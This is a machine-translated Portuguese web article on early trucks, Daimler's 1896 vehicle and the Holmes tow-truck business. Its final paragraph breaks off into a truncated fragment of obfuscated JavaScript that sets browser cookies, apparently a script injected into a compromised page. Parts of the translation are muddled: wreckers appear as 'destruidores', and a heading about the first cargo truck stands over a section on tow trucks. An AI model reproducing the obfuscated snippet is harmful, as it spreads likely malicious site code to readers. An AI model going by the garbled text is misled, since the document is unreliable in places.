Primeiros caminhões do mundo

Primeiros caminhões do mundo

O primeiro caminhão foi construído em 1896 pelo pioneiro automotivo alemão Gottlieb Daimler. O caminhão da Daimler tinha um motor de quatro cavalos de força e um acionamento por correia com duas velocidades para frente e uma reversa. Foi a primeira caminhonete. A Daimler também produziu a primeira motocicleta do mundo em 1885 e o primeiro táxi em 1897.

O primeiro caminhão de carga

A indústria de reboque nasceu em 1916 em Chattanooga, Tennessee, quando Ernest Holmes ajudou um amigo a recuperar seu carro com três polos, uma polia e uma corrente presa à estrutura de um Cadillac 1913. Depois de patentear sua invenção, Holmes começou a fabricar destruidores e equipamentos de reboque para venda em garagens automotivas e para qualquer outra pessoa que pudesse estar interessada em recuperar e rebocar carros destruídos ou desativados. Sua primeira fábrica era uma pequena loja na Market Street.

Os negócios da Holmes cresceram à medida que a indústria automobilística se expandiu e, por fim, seus produtos conquistaram uma reputação mundial por sua qualidade e desempenho. Ernest Holmes, pai morreu em 1943 e foi sucedido por seu filho, Ernest Holmes Jr., que dirigiu a empresa até se aposentar em 1973. A empresa foi então vendida para a Dover Corporation. O neto do fundador, Gerald Holmes, deixou a empresa e começou uma nova, a Century Wreckers. Ele construiu sua fábrica nas proximidades de Ooltewah, no Tennessee, e rapidamente rivalizou com a empresa original com seus destruidores hidráulicos.

A Miller Industries acabou comprando os ativos de ambas as empresas, além de outros fabricantes de demolidores. Miller manteve as instalações da Century em Ooltewah, onde os destruidores Century e Holmes são atualmente fabricados.

Preparando o terreno para o caminhão

Outro problema geral era o fato de que as rodas de madeira com raios usuais na época tendiam a arder ou mesmo pegar fogo em certas circunstâncias. A combinação convencional de munhão e bucha era suscetível a esmagamento nas bordas, levando a marcas de queima no cubo oco. Para piorar as coisas, as rodas de ferro proporcionavam pouca tração, enquanto havia pouco para evitar que os pneus de borracha sólida se derretessem ou desmoronassem sob o impacto do calor. E até a década de 1920, os pneus pneumáticos eram adequados apenas para cargas leves.

No entanto, o terreno havia sido preparado para o caminhão. A revolução industrial ganhou força e os produtos em massa foram empurrados para o mercado. A demanda por distribuição estava aumentando. As barreiras alfandegárias dentro do Reich alemão haviam sido demolidas desde 1871. A história do transporte rodoviário está mais intimamente ligada à história do comércio e da construção de estradas do que geralmente se supõe. O transporte rodoviário de mercadorias floresceu na época dos romanos, que usavam uma rede de rotas bem conservada para suas atividades comerciais. O comércio declinou quando as rotas não foram mais mantidas. O regionalismo e as barreiras alfandegárias também contribuíram para esse desenvolvimento.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]